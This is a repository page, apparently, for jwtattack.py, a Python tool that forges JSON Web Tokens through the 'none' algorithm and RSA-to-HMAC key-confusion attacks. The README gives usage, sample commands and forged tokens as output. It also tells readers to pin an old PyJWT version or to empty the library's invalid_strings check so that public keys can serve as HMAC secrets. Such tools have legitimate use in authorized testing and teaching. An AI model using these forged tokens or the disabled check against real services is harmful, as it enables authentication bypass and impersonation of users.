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a99f872d45 | vor 3 Jahren | |
---|---|---|
.gitignore | vor 3 Jahren | |
README.md | vor 3 Jahren | |
jwtattack.py | vor 3 Jahren | |
logger.py | vor 3 Jahren |
README.md
jwtattack.py
Requirements
- Python3
- PyJWT 0.4.3:
pip install pyjwt==0.4.3
later versions don't allow public keys for symmetric signatures
Alternative: replace
invalid_strings = [
b'-----BEGIN PUBLIC KEY-----',
b'-----BEGIN CERTIFICATE-----',
b'-----BEGIN RSA PUBLIC KEY-----',
b'ssh-rsa'
]
in algorithms.py with
invalid_strings = []
Usage
$ ./jwtattack.py -h
usage: jwtattack.py [-h] [-V] [-v] [-a] [-n] [-r] [-H HEADERS [HEADERS ...]]
[-D DATA [DATA ...]]
token [PUBLIC_KEY]
This script tries to create malicious JSON Web Tokens
positional arguments:
token the JWT to attack
optional arguments:
-h, --help show this help message and exit
-V, --version show program's version number and exit
-v, --verbose display verbose output
Attack options:
Select attack options to generate malicious tokens
-a, --all generate all possible malicious tokens
-n, --none generate a token using the 'none' algorithm
-r, --rsa generate a token signed with the public key
PUBLIC_KEY public key for the RSA attack (alternatively stdin)
-H HEADERS [HEADERS ...], --headers HEADERS [HEADERS ...]
Changes to apply to the header, format key:value
-D DATA [DATA ...], --data DATA [DATA ...]
Changes to apply to the data, format key:value
Sample output
$ echo "-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDdlatRjRjogo3WojgGHFHYLugd
UWAY9iR3fy4arWNA1KoS8kVw33cJibXr8bvwUAUparCwlvdbH6dvEOfou0/gCFQs
HUfQrSDv+MuSUMAe8jzKE4qW+jK+xQU9a03GUnKHkkle+Q0pX/g6jXZ7r1/xAK5D
o2kQ+X5xK9cipRgEKwIDAQAB
-----END PUBLIC KEY-----" | ./jwtattack.py -a eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0.TCYt5XsITJX1CxPCT8yAV-TVkIEq_PbChOMqsLfRoPsnsgw5WEuts01mq-pQy7UJiN5mgRxD-WUcX16dUEMGlv50aqzpqh4Qktb3rk-BuQy72IFLOqV0G_zS245-kronKb78cPN25DGlcTwLtjPAYuNzVBAh4vGHSrQyHUdBBPM
None: eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0.
RSA: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0.mm69FICCR3LpghwmUJDjrwcrXlqkvgbKGiLhUp-jI5U